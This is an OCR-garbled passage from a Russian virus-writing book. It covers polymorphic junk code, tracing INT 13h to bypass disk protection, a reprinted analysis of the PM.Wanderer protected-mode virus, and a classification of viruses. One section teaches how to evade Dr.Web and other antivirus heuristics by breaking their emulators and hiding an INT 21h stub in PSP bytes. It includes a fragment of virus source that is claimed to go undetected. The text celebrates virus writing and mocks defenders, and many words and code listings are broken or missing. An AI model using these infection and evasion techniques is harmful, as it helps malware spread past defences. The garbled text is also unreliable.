то проследить будет уже не так легко как прежде. Естественно, поскольку действую щие регистры меняются динамически, то уже неиспользуемые регистры использу ются в полиморфном мусоре. Например, вот такой код:
305
Технология создания вирусов add ax,cx ;портим ах xchg bx,bp xor bp,ax ;портим bp xor
[si],bx Ну вот, для начального ознакомления вроде бы все. Я не рассказал вам еще построений левых условных переходов, левых процедур и такое прочее, но надеюсь, что пока вам это не понадобится, в любом случае вы сами можете многому научить ся поизучав SMEG, MtE и другие классические вещи. И еще, запомните. Не надо слепо копировать эти приемы, надо придумывать самому. Так гораздо интереснее, полезнее и приятнее.
Трассировка без преград Если вы не хотите, чтобы в критический момент работы вируса случился об лом, необходимо точно знать, к кому обращаться с передачей для MBR'a или с невин ной просьбой протереть тряпочкой FAT. У юзеров INT 13h, если они знают, что это такое, вызывает священный трепет. В компьютере сидит божество, которое неведомым образом решает судьбу всех дан ных на диске. Оно может начисто отформатировать винчестер, как угодно переста вить на диске кровати и прочую мебель и даже поменять или уволить весь контингент GIFOBCKHX шлюх. А еще он постоянно пишет что-то (о ужас!) в святая святых дис ка — FAT! — то место, которое юзера, если знают, что это такое, обходят десятой до рожкой в DiskEditor'e. Божество это доброе, оно знает Ассемблер и выполняет все, о чем Его не попросишь. Стереть FAT — пожалуйста, записаться в MBR — всегда го тово! Но никто не может ни о чем его попросить лично, потому что ни Бейсика, ни Паскаля, ни Английского, ни Русского, ни Русского матерного оно не знает. А те, ко го оно понимает — являются программисты Ассемблерные, — которые всегда что-то "неугодное юзеру замышляют". Из страха юзера попортили небо звукоизолирующим воздухом, и не каждый сможет докричаться со своей просьбой к Всевышнему Пове лителю Дисков. Зениток понаставили, чтобы не смог никто долететь, если на самоле те флаг Trace, — сбивают или на землю сажают. Но наш Stealth бомбардировщик благополучно долетел и вернулся, о чем всем вам и докладывает. Кроме беспрепятственного доступа к INT 13h есть еще одна причина для трассировки. DOS при чтении файлов обращается к INT 13h. Запускали ли вы когданибудь PU_DISK или BARRIER.SYS и прочую муму, то есть муру для защиты дис ков? Не дают вирусу писать в файл? То-то, INT 13h перехвачено ими. А у меня нет проблем — файлы на защищенном диске заражаются тихо, а стереть их потом отту да — фиг! Перед дисковой операцией с винтом установите INT 13h на BIOS. Откройте файл. Если не получилось, видимо, какой-то Долбоспейс стоит, поставьте вектор INT
306
Технология создания вирусов
307
Технология создания вирусов
308
Технология создания вирусов
(
Супервизор защищенного режима
Итак, угроза, возможность которой уже не один год обсуждалась в вируснотивирусных кругах, уже давно стала реальностью. Игорю Данилову, ведущему ви>усологу АО "ДиалогНаука", автору программы DoctorWeb, один из пользователей г.Владимир) прислал новый вирус. И хотя этот вирус и не опасен сам по себе, но по казывает принципиальную возможность маскироваться от антивирусов на гораздо более серьезном уровне, чем было возможно до сих пор. Одно пока утешает, что вос пользоваться таким приемом по силам только очень профессионально подготовленому программисту-вирусописателю. Кстати, очень высоким требованиям должен оответствовать и вирусолог, создающий антивирус против такого вируса. Борьба "вирус-антивирус" в очередной раз выходит на новый виток своего швития. В этих условиях еще более актуальной становится грамотность пользоваелей в вопросах компьютерной безопасности и, в частности, регулярное использоание профессиональных антивирусных средств, причем, что важно, свежих версий. Итак, слово Игорю Данилову, который первым проанализировал этот вирус включил его обнаружение и лечение в очередное дополнение вирусной базы свого популярного антивируса DoctorWeb. Это дополнение выпущено и разослано 1 апреля 1997 г.
309
Технология создания вирусов Заметим сразу, что такая публикация нисколько не помогает писать подобные вирусы из-за исключительно высоких требований к квалификации программиста для реализации многочисленных описанных и неописанных в публикации технических деталей. А кто имеет такую квалификацию, тот и так знает, как это делается... Персональные компьютеры год от года становятся все сложнее и сложнее, ис пользуя все более высокие аппаратные и программные технологии. Компьютерные ви русы также становятся все сложнее и пытаются приспособиться к новым условиям обитания. Так, вирусы научились заражать загрузочные сектора дисков, файлы для операционных систем DOS, Windows, Windows'95, OS/2, Linux и даже документы для Word, Excel и MS-Office'97. Для сокрытия своего присутствия в системе они стали не^ видимками или стелс-вирусами. Они научились быть полиморфными в загрузочных секторах, файлах и памяти для того, чтобы их детектирование стало еще более трудной задачей для разработчиков антивирусных средств. С появлением процессоров 1386 ви русы стали использовать в своем коде 32-разрядные инструкции. В настоящее время полиморфные вирусы используют 32-разрядные расшифровывающие команды в сво ем декрипторе. Вирусами предпринимаются практически все попытки для создания сложноразрешимых задач по их поиску и лечению. Одним словом, вирусы хотят выжить и победить в данных условиях. Для это го они используют все предоставляющиеся им возможности, как программные, так и аппаратные. Но с появлением процессора i286, а затем и 32-разрядного процессора 1386, стал возможен защищенный (или виртуальный) режим работы процессора, кото рый до настоящего момента вирусам никак не удавалось "приручить" и привлечь его к себе на помощь. Вернее, вирусы пытались его освоить, но все эти попытки были как "проба пера" и реальной выгоды они вирусам не принесли. Загрузочный вирус PMBS, первым пытавшийся освоить защищенный режим (1994 г.), не мог ужиться ни с одной программой или драйвером (EMM386, Windows, OS/2,...), которые также использовали в своей работе защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже 1994 г.) использовали только часть мощного за щищенного режима и то только тогда, когда процессор находился в реальном режи ме работы. Данные вирусы подменяли реальную таблицу векторов прерываний на собственную. Но как вирусы Evolution могут этим воспользоваться в повседневной жизни? Покажите мне хоть одного пользователя PC, который сегодня работает в ре альном режиме на процессорах i386-Pentium, т.е. в чистом DOS и без режима расши ренной памяти... Так много лет уже прошло с момента появления процессора i386, (не будем даже вспоминать, что до него был i286), а вирусы до настоящего момента не могли покорить его самый мощный защищенный режим. Я думаю, вирусописатели только и мечтали об этом. Но, видимо, основной массе вирусописак такая задача явно не по плечу из-за отсутствия знаний и квалификации. Но вот все-таки такой человек-вирусописатель нашелся. В России, в "диком" виде, обнаружен файловый вирус РМ.Wanderer, использующий защищенный режим. Причем, он более-менее корректно и стабильно взаимодействует с другими програм мами и драйверами, также использующими защищенный режим.
310
Технология создания вирусов PM.Wanderer является резидентным полиморфным вирусом, использующим защищенный (виртуальный) режим процессоров i386-Pentium. Для установки своей резидентной копии в память и переключение в защищенный режим процессора (protected Mode) используется документированный интерфейс VCPI (Virtual Control Program Interface) драйвера расширенной памяти EMS (EMM386). При старте инфицированной программы вирусный полиморфный декриптор расшифровывает основное тело вируса и передает ему управление. Далее основной вирусный код выделяет участок памяти в верхних адресах, копирует в него собствен ный код и передает ему управление. Затем он восстанавливает код инфицированно го файла в программном сегменте (для ЕХЕ-файлов также производит настройку адресов перемещаемых элементов) и приступает к непосредственному внедрению в память своей резидентной копии. Первым делом вирус пытается выяснить, установлен ли в системе драйвер EMS. Если драйвер EMS не установлен в системе или вирусная резидентная копия уже находится в памяти, а также в дальнейшем, при отсутствии интерфейса VCPI, вирус освобождает ранее выделенную память и отдает управление программе-вирусоносителю, заканчивая тем самым свою "жизнедеятельность" в системе. Если же "условия среды обитания" благоприятствуют, то вирус выполняет ряд подготовительных операций для выделения памяти под свое тело и производит переключение процессора в защищенный режим работы с наивысшим уровнем при вилегий — супервизора. В защищенном режиме вирус устанавливает две аппаратные контрольные
•
очки на адреса входа в обработчик прерывания Int 21h (функции DOS) и перехода на процедуру перезагрузки компьютера. Кроме того, вирус корректирует дескрипторную таблицу прерываний таким образом, чтобы на прерывания Int 1 (особый слу чай отладки) и Int 9 (клавиатура) установить собственные дескрипторы бработчиков данных прерываний. После этих приготовлений вирус копирует свой код в страницу памяти, полу ченную им еще до входа в защищенный режим, и производит переключение процес сора обратно в виртуальный режим работы на процедуру освобождения ранее выделенной памяти DOS в верхних адресах и возвращения управления инфициро ванной программы. С этого момента инфицированная программа начинает свою "полезную" ра боту, а в защищенном режиме оказываются установленными вирусные обработчики: ловушки на Int 1 и прерывания от клавиатуры на Int 9. С их помощью вирус контро лирует, во-первых, все вызовы функций DOS, во-вторых, все нажатия клавиш на кла виатуре, и в-третьих, попытки мягкой перезагрузки компьютера. В свою очередь, такой контроль обеспечивает вирусу возможность как надежно реагировать на ряд интересующих его событий при работе программы, так и постоянно проверять со стояние своих двух контрольных точек и при необходимости восстанавливать их. В частности, если вирус обнаруживает, что данный вызов исходит от его "со брата", то вирус просто возвращает некоторое условное значение, играющее роль от-
311
Технология создания вирусов зыва "я — свой". Таким образом вирус, пытавшийся выяснить наличие своей копии в памяти, будет информирован о том, что память уже инфицирована. Если вирус обнаруживает попытку получения адреса прерывания Int 6 (обыч но такой вызов существует во всех программах, написанных на языках высокого уровня, например С, Pascal и т.д.), то вирус пытается найти в адресном пространст ве некоторую последовательность байтов, очевидно, принадлежащих программе ADinf, но какой-то старой версии (по информации разработчика ADinf Дмитрия Мостового, за последний год в версиях ADinf не содержится такая последователь ность!). Если данная последовательность будет вирусом найдена, то он определен ным образом модифицирует найденный код так, чтобы управление не попадало на вызов межсегментной процедуры, которая демонстрирует пользователю изменения, найденные на диске или в файлах. Если же вирус обнаруживает запрос на запуск программы или открытие фай ла (только на чтение), то вирус считает, что наступило "время большой охоты". Ви рус копирует свой код в старшие адреса виртуального процесса DOS-машины, переключает процессор в виртуальный режим и отдает управление своему коду (про цедуре заражения). В виртуальном режиме вирус проверяет последние две буквы расширения имени файла (ОМ или ХЕ) и производит создание своей полиморфной копии и зара жение файлов размером более 4095 байтов. Вирус не заражает файлы, содержащие в поле значение времени создания — 34 секунды, считая, что такие файлы уже инфи цированы. Коррекцию атрибутов файлов вирус не производит, поэтому все файлы, помеченные как ReadOnly, заражены не будут. Также вирус не заражает программу, имя которой состоит из 7 букв. Мне не удалось выяснить имя данной программы, так как вирус не явно определяет ее имя, а подсчитывает CRC данного имени. Вирус не берет на себя обработку критических ошибок, поэтому при попытке записи на защи щенный диск в процессе заражения появится стандартный вопрос DOS (...Retry, Ignore, Fail, Abort). При заражении файлов вирус использует прямой вызов ядра обработчика DOS Int 21h. Адрес этого ядра вирус выяснил при трассировке Int 21h во время сво ей установки в память. Вирус внедряет свой код в начало СОМ- или в середину ЕХЕфайлов (сразу же за заголовком), запоминая оригинальный программный код в конце файлов. "Реальный рабочий код" вируса составляет 3684 байта, но на практике ин фицированные файлы имеют приращение длины более 3940 байтов. Вирус в своем теле содержит текст "WANDERER,(c) P.Demenuk". Обнаружить резидентную копию данного вируса, находящегося в нулевом кольце защищенного режима процессора, обычными способами невозможно. Для обнаружения вируса в памяти необходимо переключаться в защищенный режим с на ивысшими привилегиями и производить его поиск. Но попытаться обнаружить при знаки вируса в системе можно и обычными способами. После обнаружения вируса рекомендуется, как и всегда в таких случаях, пе резагрузиться с системной дискеты и выполнять лечение в заведомо стерильных ус-
312
Технология создания вирусов ловиях. Правда, данный вирус не является стелс-вирусом и его лечение допустимо даже при активном вирусе. Теперь немного о результатах тестирования. При заражении нескольких ты сяч файлов-жертв вирус проявил себя как "жилец" — все зараженные файлы оказа лись работоспособными. Здесь надо только сделать поправку — файлы могут оказаться неработоспособными в том случае, если их стек после заражения окажет ся в области вирусного кода. РМ.Wanderer при заражении файлов не корректирует значения стартовых SS:SP в ЕХЕ-заголовке. Как уже отмечалось выше, вирус сохра няет способность к воспроизводству только в том случае, если в системе установлен драйвер EMS (EMM386). При установленном драйвере EMM386 с ключом NOEMS вирус перезагружает компьютер. Компьютер также может перезагрузиться, если в системе используется драйвер QEMM386. Самое интересное в том, что если в системе находился резидентный вирус, а потом произошла загрузка Windows ЗЛх или Windows'95, то вирус не сможет раз множаться в данных операционных средах, но при выходе в DOS, вирус опять полу чает управление и может "трудиться, не покладая рук". Если же вирус будет запущен в DOS-сессии Windows, то из-за отсутствия интерфейса VCPI вирус не сможет пере ключиться в защищенный режим. Под OS/2 вирус нежизнеспособен, также из-за от сутствия VCPI. В заключение стоит отметить, что это первый известный вирус (причем, рос сийский), использующий защищенный (виртуальный) режим работы процессора и не конфликтующий с операционными системами "от Microsoft", работающими так же в защищенном режиме. Возможно, что в недалеком будущем компьютерный вирус сможет полностью заменить своим кодом программу-супервизора, и сам будет поддерживать интерфей сы DPMI, EMS/VCPI, XMS, hit 15h. Кто знает?
Как "обуть" антивирус Честно говоря, эта глава просто является обобщением всех предыдущих. По этому все основное уже рассказано. Но есть несколько весьма интересных и заслу живающих вашего внимания вопросов, о которых почти не упоминается в литературе. Речь идет о построении вирусов, "невидимых" для антивирусных про грамм. В самом деле, один — единственный "обыск" с помощью программы DOC TOR WEB на диске или в памяти может свести все наши усилия к нулю. Поэтому амое время поговорить о способах скрытия вирусом своего наличия в вычислитель ной системе. Технику защиты вирусной программы от обнаружения мы рассмотрим на примере всем известного антивируса DOCTOR WEB. Именно эта программа являет ся наиболее удачной и используемой. Как вы знаете, для обнаружения неизвестных вирусов DOCTOR WEB ис пользует так называемый эвристический анализатор, моделирующий действия чело века, желающего обнаружить новый вирус.
Технология создания вирусов Все изложенное ниже базируется на следующем предположении: эвристиче ский анализатор, по существу, представляет собой комбинацию пошагового отладчи ка и программы, анализирующей результаты его работы. Перейдем к делу. Если вы "заразите" ваш компьютер написанным ранее резидентным СОМ-вирусом, а потом запустите DOCTOR WEB (режим тестирования памяти должен быть включен), то вирус будет обнаружен как неизвестный резидентный. Кроме того, антивирусная программа определит адрес в памяти, по которому находится вирусный код. Если вы просмотрите содержимое памяти по этому адресу, то увидите, что DOCTOR WEB "ошибся". А именно — по указанному адресу расположен собственно не сам вирус, а только его обработчик прерывания INT 21h. На остальные вирусные обработчики антивирус не обратил внимания. Исходя из этого, можно сделать такие выводы: 1. Эвристический анализатор определяет, на какой адрес указывает вектор прерыва ния INT 21h в таблице векторов. 2. Далее вступают в действие следующие соображения: j6pa6oT4HK прерывания INT 2In почти никогда не может находиться в самых младших (например, в обла сти данных BIOS) или в самых старших (например, в последнем сегменте) адре сах основной памяти. Поэтому при обнаружении такой ситуации эвристический анализатор считает, что система заражена неизвестным вирусом, и в качестве ад реса, по которому расположен его код , выдает адрес обработчика INT 21гГ. Как видим, все не так уж и сложно. Далее пользователь должен решать сам, действительно ли вирус присутствует в его компьютере. Отметим, что для решения этого вопроса нужно иметь довольно высокую квалификацию, поэтому для подавля ющего большинства пользователей задача представляется неразрешимой. И снова, и снова как всегда. Это борьба, в которой нет победителей, это гон ка по нарастающей, где вылететь с полосы все проще и проще. Это то, где каждый считает, что он прав, а противоположная сторона нет. Это то, чем кто-то занимается ради "бабок", кто-то ради ощущения немеряной крутизны, кто-то ради слов благо дарности, кто-то ради причинения вреда ближнему Кто-то занимается этим не ради чего-то, а ради того самого, чем он занимается. И не всегда возможно ответить на во прос "зачем". И никогда нельзя быть уверенным в искренности ответа. Если кому-то и нужен этот ответ, то мой ответ — не знаю. Знаю лишь то, что слово "произведе ние", относительно написания вирусов, подразумевает действительно произведение творчества, в то время как "произведение" антивирусов, этих деструктивных поде лок, подразумевает слово "производство". Эвристик или эвристический анализатор состоит из двух составных частей, та ких как эмулятор кода и анализатор наличия вируса. Анализаторы наличия вируса на чинали свое существование уже довольно давно, общепринятой классикой (но почему-то не для меня) в этом плане является Lie Detector by Е.Сусликов. Это начало 90-х годов. Впоследствии Евгений понял, что это не его сфера и переключился на всем вам известный hiew. Так вот, анализатор наличия вирусов это участок кода, который определяет характерные признаки вируса и реагирует соответственно им. Допустим, если у вас есть поиск (4eh) с маской *.сот, а также запись (40h) в файле, то можно с некоторой вероятностью гарантировать наличие вируса в файле, где вы это нашли.
314
Технология создания вирусов Далее: эмулятор кода в эвристике предназначен для работы в паре с анализа тором и для того, чтобы можно было обнаруживать шифрующиеся вирусы. Эмуля тор кода, это не что иное, как псевдовыполнение инструкций процессора. В идеале эмулятор должен эмулировать весь компьютер, что естественно недостижимо. Эмуляторы кода тоже не новы, они часто использовались в отладчиках и для эмуляции на рс других процов, скажем z80. Обломить эвристик, безусловно, можно, как на его эмуляторе, так и на его анализаторе. Облом эмулятора заключается в пред ложении ему на эмуляцию некоторой последовательности кода, которая в его испол нении выполнится по-другому, нежели в реальном исполнении. Есть несколько путей облома эмулятора. Наиболее простые и действенные из них: •
знание дыры в уже эмуляции команд эмулятором.
•
невозможность эмулятору про эмулировать часть машины выходящую за пределы проца. Иными словами, либо глюки в эмуляции проца, либо вне проца. Первого, вообще то, теоретически существовать не должно. Но, как правило, на практике встречаются довольно забойные дыры, каковые можно использовать. Ко второму относится эмуляция ОЗУ/ПЗУ/периферии.
Все дело в том, что после инструкций хог ах,ах / sahf / lahf в ah окажется во все не 0, а 2. На таких вот неочевидностях и основан в большинстве своем этот ме тод. Метод поиска глюков в эмуляции команд проца. Мы пустили web по ложной ветви, которая никогда не выполнится. В данном случае это была команда mov bl,56h. bx — ключ расшифровщика, и запись в него другого значения не позволит расшиф ровать web'y ваш вирус правильно. Более того, если вирус только что откомпилиро ванный, и при Ьх=0 в реальном исполнении он произведет посадку в память, то при шеЬ'овском 56h его эмулятор сам перешифрует ваш код, естественно анализатору по сле этого там делать нечего. Приступим ко второму способу обхода эвристики методом облома эмулятора:
315
Технология создания вирусов Здесь эмулятор обломился на неспособности проэмулить порты. Всяких раз ных портов много, посему это очень приятная дырень, какую вряд ли когда смогут заткнуть. Надеюсь сюжет вкратце ясен? Перейдем теперь к другому методу, принципи ально иному: методу облома самого анализатора. Поскольку доблестные защитники человечества при разработке своих поделок не руководствуются абсолютно никакой теорией, а процесс заключается в "тяп в лоб, авось пройдет", то и обломить их пред ставляет ровно столько же усилий, а именно — нисколько. И касается это не только web'a, но и avp, f-prot, t-bav и т.д. Так вот: ;Com-NonResident from t h e c u r r e n t d i r e c t o r y i n t e r macro i n t Ih endm .model t i n y .code org lOOh start: ;разная инициализация . . . .
316
Дешевый 5-минутный пример. Tbscan, Web, Avpro показывают свою полную беспомощность на этом совершенно нешифрованном вирусе. А вы говорите теории. Я, почему-то думаю, что все методы эвристики сейчас делаются на "вперед, авось пройдет", без предварительного серьезного теоретического обоснования. Конечно, возможно я ошибаюсь. По крайней мере, ошибаться было бы интереснее.
Как реализовать защиту от эвристического анализа Очевидно, вирус не будет найден в памяти, если разместить обработчик INT 2lh в той ее части, в которую загружаются пользовательские программы. С другой стороны, наш вирус помещает свой код в самые старшие адреса основной памяти. Единственным выходом из положения было бы написание обработчика, состоящего из двух частей. При этом "первая" часть должна загружаться в область памяти, выделенную для загрузки прикладных программ, а "вторую" — вместе с остальной частью вируса — следует записать в старшие адреса основной памяти. В случае возникновения прерывания INT 21 h управление будет передаваться пер вой части, которая затем передаст его второй. К сожалению, данный метод себя не оправдывает. DOCTOR WEB в процессе эвристического анализа просто трассирует обработчик INT 21h до входа в его исход ный (системный) код, одновременно контролируя адрес обработчика, и при получении любых подозрительных результатов выдает сообщение о наличии неизвестного виру са. Поэтому необходимо сделать так, чтобы при трассировании "первой" части под уп равлением отладчика вызывался системный обработчик, а при "нормальном" трассировании — вирусный (эксперименты показывают, что DOCTOR WEB, вероят нее всего, содержит встроенный отладчик). Для реализации указанного метода можно использовать особенность микропроцессора, состоящую в наличии очереди команд. Однако этот путь по существу является тупиковым, так как вирус, реализующий такой алгоритм, не будет работать на процессорах PENTIUM, из-за наличия в последних так называемой системы прогнозирования переходов. Мы же поступим по-другому. Как вы знаете все отладчики интенсивно используют прерывание Olh (One Step), обработ чик которого останавливает работу микропроцессора после выполнения каждой ко манды. Поэтому естественно предположить, что для проведения эвристического анализа DOCTOR WEB устанавливает собственный обработчик Int Olh, а значит, за меняет адрес системного обработчика в таблице векторов прерываний. На факт заме ны этого адреса мы и будем ориентироваться. Экспериментальным путем было установлено, что системный обработчик Int Olh находится в памяти по такому адре-
317
Технология создания вирусов су: 0070:ХХХХ. Следовательно, достаточно проверить сегментный адрес обработчи ка Int Olh, чтобы сказать, перехвачено ли это прерывание какой-нибудь прикладной программой. Следующая проблема, возникающая при построении программы обработки прерывания из двух частей, состоит вот в чем: непонятно, куда именно следует поме стить " первую " часть, чтобы она не затиралась при загрузке программ и их работе, и не была бы видна с помощью, например, VC. СОМ или RELEASE. Многочислен ными экспериментами было установлено, что для размещения участка обработчика прерывания, ответственного за "обман" эвристического анализатора, можно исполь зовать байты с 38h по 5Ch, принадлежащие PSP — первой загруженной в память программы. Эти байты зарезервированы разработчиками операционной системы, ве роятно, для будущих ее версий, и их значения остаются постоянными в течение все го сеанса работы компьютера. Кроме того, зарезервированного пространства в PSP вполне хватит для размещения программы обработки прерывания. Итак, можно предложить следующий алгоритм: 1. Отыскивается PSP первой загруженной в память программы. 2. В байты 38h - 5Ch записывается код "промежуточног" обработчика прерывания INT 21 п. Этот код должен вызывать системный обработчик при работе под управ лением отладчика и вирусный в противном случае. На самом деле можно исполь зовать и другие области PSP, расположенные после байта со смещением 5Ch (примерно 32 байта — без всяких последствий). 3. В таблице векторов прерываний вектор INT 2lh заменяется на точку входа в про межуточный обработчик. Вот, собственно, и все.
Классификация компьютерных вирусов Приведенная ниже классификация основана (точнее совпадает ) с известной классификацией Н.Н.Безрукова, т.к. трудно придумать что либо более совершенное. Серьезность и долговременный характер проблемы защиты от компьютерных виру сов уже практически ни у кого не вызывают сомнений. Поэтому необходимо органи зовать оперативный обмен информацией по данной проблеме и наладить взаимодействие работающих в этой области специалистов. Это, в свою очередь, тре бует решения ряда подзадач, одной из которых является выработка стандартной классификации компьютерных вирусов. Стандартная классификация существенно облегчает накопление и распрост ранение знаний в любой области, и компьютерные вирусы не являются исключени ем. Применительно к компьютерной вирусологии она помогает решению такой важной задачи, как однозначное определение типа обнаруженного вируса. При этом должен использоваться ограниченный набор сравнительно простых и непротиворе чивых признаков, не требующих проведения глубокого анализа зараженных про грамм и элементов операционной системы. Существующие в настоящее время классификации, как правило, основаны на "кличках" — распространенных среди
318
Технология создания вирусов программистов названиях, отражающих то или иное свойство вируса. Анализируя имеющиеся неформальные названия, можно выявить четыре основные тенденции их образования. Первая основана на указании места обнаружения или разработки виру са (Lehigh, Jerusalem, Vienna, Alameda), вторая — на содержащихся в теле вируса тек стовых строках (Vacsina, Eddie, Dark Avenger, Disk Killer, sUMsDos,OneHalf), третья — на вызываемом вирусом эффекте (Time Bomb, DOS-62, Cascade, Black Friday) и, наконец, четвертая — на длине тела вируса или на приращении длины фай ла при заражении (524, 648, 1800, 2000 и т.д.). При этом один и тот же вирус может иметь множество названий, и новое название, использованное разработчиком той или иной антивирусной программы, далеко не всегда соответствует новому вирусу. Для широко известных вирусов перечень названий напоминает список имен арабского шейха. Конечно же, такое многообразие названий создает определенные затрудне ния, особенно если учитывать, что данный вирус имеет несколько отличающихся по деталям функционирования штаммов. Поэтому необходим какой-то выход из создав шейся ситуации. На определенном этапе среди разработчиков антивирусных средств наблюдалась стихийная тенденция к использованию в качестве основных названий, применяемых известным зарубежным полидетектором SCAN (фирма McAfee Associates, США); однако он, естественно, запаздывает с классификацией болгар ских вирусов, не говоря уже о вирусах отечественного изготовления. Поэтому набор обнаруживаемых им вирусов не соответствует советским условиям, а используемые строки для контекстного поиска (сигнатуры) часто неудачны (например, дают много ложных срабатываний). При этом для ранних версий SCAN неоднократно наблюда лись случаи, когда наиболее актуальные для нас вирусы могут классифицироваться неверно (как это было с подгруппой Vacsine группы ТР-вирусов) или попадали в две группы сразу (например, Vacsine и Yankee Doodle). В последнем случае создавалось ложное впечатление о том, что файл заражен двумя вирусами сразу. Не исключено, что будет третий, четвертый и т.д. Поэтому необходим какой-то менее субъективный и учитывающий нашу информационную изолированность (отсутствие сетей, слабое развитие и низкое качество телефонной связи) подход.
Принцип построения классификации Основным требованием к приемлемой для всех классификации является ее объективность, т.е. классификация должна основываться на фиксированном наборе непротиворечиво измеряемых или наблюдаемых признаков. В идеальном случае эти признаки должны быть выбраны так, чтобы, скажем, два разработчика антивирусных средств, независимо работающих в Киеве и Москве, использовали одно и то же на звание для одинаковых вирусов и разные названия для разных вирусов. Это обеспе чивало бы быстрое выявление новых штаммов вирусов и новых, еще не исследованных, разновидностей. Очевидно, что объективная классификация сущест венно облегчает систематизацию, распространение и накопление знаний, а также вы бор программных средств для борьбы с тем или иным вирусом.
319
Технология создания вирусов Однако важно не только наличие классификации как таковой, но и принятие ее в качестве стандартной. Уже сейчас отсутствие стандартной классификации при водит к ряду нежелательных моментов. Во-первых, у разработчиков наблюдается тенденция по-своему называть обнаруженный или сравнительно малораспростра ненный вирус, а в дальнейшем продолжать использовать собственное название (см., например, документацию к полифагу Aidstest Д.Н.Лозинского). В результате получа ется, что каждый разработчик антивирусных средств использует в определенной сте пени свою уникальную классификацию. Поэтому для пользователей, столкнувшихся с вирусом, необнаруживаемым тем или иным детектором или полифагом, часто не ясно, относится ли он к какой-то разновидности (один основной тип вируса обычно представлен рядом штаммов со сходными, но не идентичными свойствами) уже из вестного вируса, что дает возможность в значительной степени предсказать его свой ства, или это совершенно новый, еще не исследованный, вирус. Во-вторых, у самих пользователей наблюдается тенденция аппроксимировать общее количество вирусов общим количеством названий, используемых в имеющемся у них наборе средств за щиты и прежде всего программ-фагов (т.е. программ, "выкусывающих" тело вируса из зараженной программы, тем самым восстанавливая ее в работоспособное и близ кое к первоначальному состояние). Такая аппроксимация приводит к существенной переоценке общего количества имеющихся компьютерных вирусов, однако человек быстро "рационализирует" этот факт путем разбиения одного реального вируса на несколько "виртуальных", приписывая каждому свой набор признаков. Были случаи "самодельной" классификации, в которую вирусы С-648 и RCE-1813 входили в двух "ипостасях" каждый, причем второй ипостаси вируса С-648 приписывались черты вируса RCE-1813 (замедление работы компьютера). Вот самая общедоступная схема классификации, включающая три основных элемента: код вируса; дескриптор вируса (формализованный список основных свойств); сигнатуру вируса (строка для контекстного поиска данного вируса в зара женной программе).
Классификационный код вируса В предлагаемой схеме каждому вирусу присваивается код, состоящий из бук венного префикса, количественной характеристики и факультативного буквенного суффикса. Например, в коде RCE-1813c RCE — префикс, 1813 — корень (характери стика), ас — суффикс. Главным требованием к классификационному коду вируса является возмож ность определения большинства входящих в него свойств на незараженном компью тере. Выполнение каких-либо действий по исследованию вируса на зараженном компьютере является наиболее распространенной и одновременно наиболее грубой ошибкой, которую допускают неопытные пользователи. Следует подчеркнуть, что любые действия на компьютере, зараженном неизвестным вирусом, сопряжены с оп ределенным риском вызвать срабатывание троянской компоненты вируса. Кроме то го, резидентный вирус, с целью маскировки, может перехватывать запросы и искажать выдаваемую информацию. В настоящий момент известен ряд вирусов, об ладающих указанным свойством. Например, группа файловых вирусов, известная
320
Технология создания вирусов од названием ТР-вирусов, начиная с вируса ТР-34 (члены этой группы имеют номехранящиеся в предпоследнем байте вируса в 16-ричном виде) обладает интерес 3; ным свойством: при попытке трассировать зараженную программу резидентный ирус выполняет "выкусывание" вируса из программы, "подсовывая" отладчику уже злеченную программу. Аналогично бутовые вирусы, входящие в группу пакистанких (Brain, Ashar), при попытке просмотреть бутсектор на зараженном компьютере подсовывают" пользователю оригинальный бутсектор, сохраненный вирусом в одом из секторов, помеченных как дефектный и, тем самым, исключенным из распрееления под файлы. Префикс характеризует место расположения головы вируса и состоит из букв цифр, начинаясь с прописной буквы. В соответствии с этим будем различать слеующие типы вирусов (будем рассматривать только реально существующие типы, а е все принципиально возможные): ) файловые (голова вируса располагается в СОМ-, ЕХЕ-файлах и оверлеях — сим волы С, Е в префиксе. При этом дополнительную букву, отражающую заражение оверлеев в префикс вводить не будем, чтобы избежать его переусложнения, а вы несем в дескриптор); ) бутовые (голова вируса располагается в бутсекторе или блоке MBR-символы B,D или М в префиксе); ) пакетные (голова вируса расположена в пакетном файле, т.е. представляет собой строку или программу на языке управления заданиями операционной системы — префикс J). Отметим, что наряду с чистыми вирусами, использующими одну сре ду, в настоящее время появились гибридные — сочетающие свойства файловых и бутовых вирусов. Характеристика вируса представляет собой количественно измеряемое свойтво вируса, допускающее простое определение и отличающееся для большинства ипов вирусов. Например, для файловых вирусов в качестве характеристики может спользоваться величина приращения длины файлов при заражении, хотя здесь име ются определенные трудности. Суффикс используется, когда два разных вируса или два штамма одного и тоо же вируса имеют одинаковый префикс и характеристику. В этом случае для того, чтобы получить уникальные коды, будем использовать в качестве суффикса датчи ку ю букву. Например, в коде RC-1704f буква f означает "штамм-Г. Дескриптор вируса. Конечно, предложенный код вируса не охватывает, да и не может охватывать основные свойства вируса. В то же время систематизация свойств вирусов представляет значительный интерес как для разработчиков антиви русных программ, так и их пользователей, поскольку позволяет интегрировать раз нородные факты, относящиеся к поведению того или иного вируса в систему, тем самым облегчая их запоминание и сопоставление. Поэтому автором в качестве вто рого элемента классификации предлагается так называемый дескриптор. Дескриптор представляет собой систематизацию основных характеристик . вируса в закодированном виде. Кодировка состоит из групп-символов, начинающих-
321
Технология создания вирусов ся с заглавной латинской буквы, за которой следуют строчные латинские буквы или цифры. При этом заглавная латинская буква определяет вид характеристики, а следу ющие за ней маленькие буквы или цифры — значение характеристики для конкрет ного вируса. Например, в дескрипторе "Xab Yc Zdmt" имеются три свойства: X — со значением "ab", Y — со значением "с", и Z — со значением "dmt". Сигнатура вируса. Поскольку подавляющее большинство известных в насто ящее время вирусов допускают детектирование с помощью контекстного поиска, од ной из важных задач классификации является составление списка строк для контекстного поиска (сигнатур). Знание сигнатур позволяет проверять поступающее программное обеспечение на их наличие, тем самым существенно повышая степень защищенности ЭВМ. Стандартизация сигнатур особенно важна, когда вирус имеет много штаммов, поскольку формальные схемы, подобные описанным выше класси фикационному коду и дескриптору, обладают тем недостатком, что некоторые штам мы будут неразличимы в заданном пространстве признаков. В то же время сравнительно легко обеспечить уникальность сигнатуры, по крайней мере вирусов, известных в России, хотя возможно создание вируса не имеющего ки одной сигнату ры, т.е. который нельзя найти с помощью контекстного поиска. Хотя в дальнейшем в качестве сигнатур используются только текстовые стро ки, для них применимы и регулярные выражения. Последние существенно устойчивее к некоторым мутациям и, кроме того, при меньшей длине обеспечивают лучшее каче ство распознавания (меньшее количество ложных срабатываний). Все это делает их предпочтительнее простых текстовых строк. Версию приводимых ниже таблиц с сиг натурами из регулярных выражений автор надеется опубликовать несколько позднее. Очевидно, что 